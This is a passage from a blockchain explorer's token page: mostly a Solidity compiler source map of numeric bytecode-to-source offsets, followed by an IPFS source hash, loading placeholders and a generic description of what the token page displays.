:9;5135:7;5131:23;5127:32;5124:52;;;5172:1;5169;5162:12;5124:52;5201:9;5195:16;5185:26;;5251:2;5240:9;5236:18;5230:25;5220:35;;5295:2;5284:9;5280:18;5274:25;5264:35;;4999:306;;;;;:::o;5310:127::-;5371:10;5366:3;5362:20;5359:1;5352:31;5402:4;5399:1;5392:15;5426:4;5423:1;5416:15;5442:422;5531:1;5574:5;5531:1;5588:270;5609:7;5599:8;5596:21;5588:270;;;5668:4;5664:1;5660:6;5656:17;5650:4;5647:27;5644:53;;;5677:18;;:::i;:::-;5727:7;5717:8;5713:22;5710:55;;;5747:16;;;;5710:55;5826:22;;;;5786:15;;;;5588:270;;;5592:3;5442:422;;;;;:::o;5869:806::-;5918:5;5948:8;5938:80;;-1:-1:-1;5989:1:1;6003:5;;5938:80;6037:4;6027:76;;-1:-1:-1;6074:1:1;6088:5;;6027:76;6119:4;6137:1;6132:59;;;;6205:1;6200:130;;;;6112:218;;6132:59;6162:1;6153:10;;6176:5;;;6200:130;6237:3;6227:8;6224:17;6221:43;;;6244:18;;:::i;:::-;-1:-1:-1;;6300:1:1;6286:16;;6315:5;;6112:218;;6414:2;6404:8;6401:16;6395:3;6389:4;6386:13;6382:36;6376:2;6366:8;6363:16;6358:2;6352:4;6349:12;6345:35;6342:77;6339:159;;;-1:-1:-1;6451:19:1;;;6483:5;;6339:159;6530:34;6555:8;6549:4;6530:34;:::i;:::-;6600:6;6596:1;6592:6;6588:19;6579:7;6576:32;6573:58;;;6611:18;;:::i;:::-;6649:20;;5869:806;-1:-1:-1;;;5869:806:1:o;6680:140::-;6738:5;6767:47;6808:4;6798:8;6794:19;6788:4;6767:47;:::i;6825:168::-;6898:9;;;6929;;6946:15;;;6940:22;;6926:37;6916:71;;6967:18;;:::i;7130:127::-;7191:10;7186:3;7182:20;7179:1;7172:31;7222:4;7219:1;7212:15;7246:4;7243:1;7236:15;7262:461;7315:3;7353:5;7347:12;7380:6;7375:3;7368:19;7406:4;7435:2;7430:3;7426:12;7419:19;;7472:2;7465:5;7461:14;7493:1;7503:195;7517:6;7514:1;7511:13;7503:195;;;7582:13;;-1:-1:-1;;;;;7578:39:1;7566:52;;7638:12;;;;7673:15;;;;7614:1;7532:9;7503:195;;;-1:-1:-1;7714:3:1;;7262:461;-1:-1:-1;;;;;7262:461:1:o;7728:510::-;7999:6;7988:9;7981:25;8042:3;8037:2;8026:9;8022:18;8015:31;7962:4;8063:57;8115:3;8104:9;8100:19;8092:6;8063:57;:::i;:::-;-1:-1:-1;;;;;8156:32:1;;;;8151:2;8136:18;;8129:60;-1:-1:-1;8220:2:1;8205:18;8198:34;8055:65;7728:510;-1:-1:-1;;7728:510:1:o;8833:125::-;8898:9;;;8919:10;;;8916:36;;;8932:18;;:::i;8963:135::-;9002:3;9023:17;;;9020:43;;9043:18;;:::i;:::-;-1:-1:-1;9090:1:1;9079:13;;8963:135::o;9103:217::-;9143:1;9169;9159:132;;9213:10;9208:3;9204:20;9201:1;9194:31;9248:4;9245:1;9238:15;9276:4;9273:1;9266:15;9159:132;-1:-1:-1;9305:9:1;;9103:217::o;9727:582::-;10026:6;10015:9;10008:25;10069:6;10064:2;10053:9;10049:18;10042:34;10112:3;10107:2;10096:9;10092:18;10085:31;9989:4;10133:57;10185:3;10174:9;10170:19;10162:6;10133:57;:::i;:::-;-1:-1:-1;;;;;10226:32:1;;;;10221:2;10206:18;;10199:60;-1:-1:-1;10290:3:1;10275:19;10268:35;10125:65;9727:582;-1:-1:-1;;;9727:582:1:o;10670:128::-;10737:9;;;10758:11;;;10755:37;;;10772:18;;:::i
Swarm Source
ipfs://0607f5a8fa95449a5658dcdf9c8ebb49b99b8c69883e45a9dc3b9df79ea4d4bf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.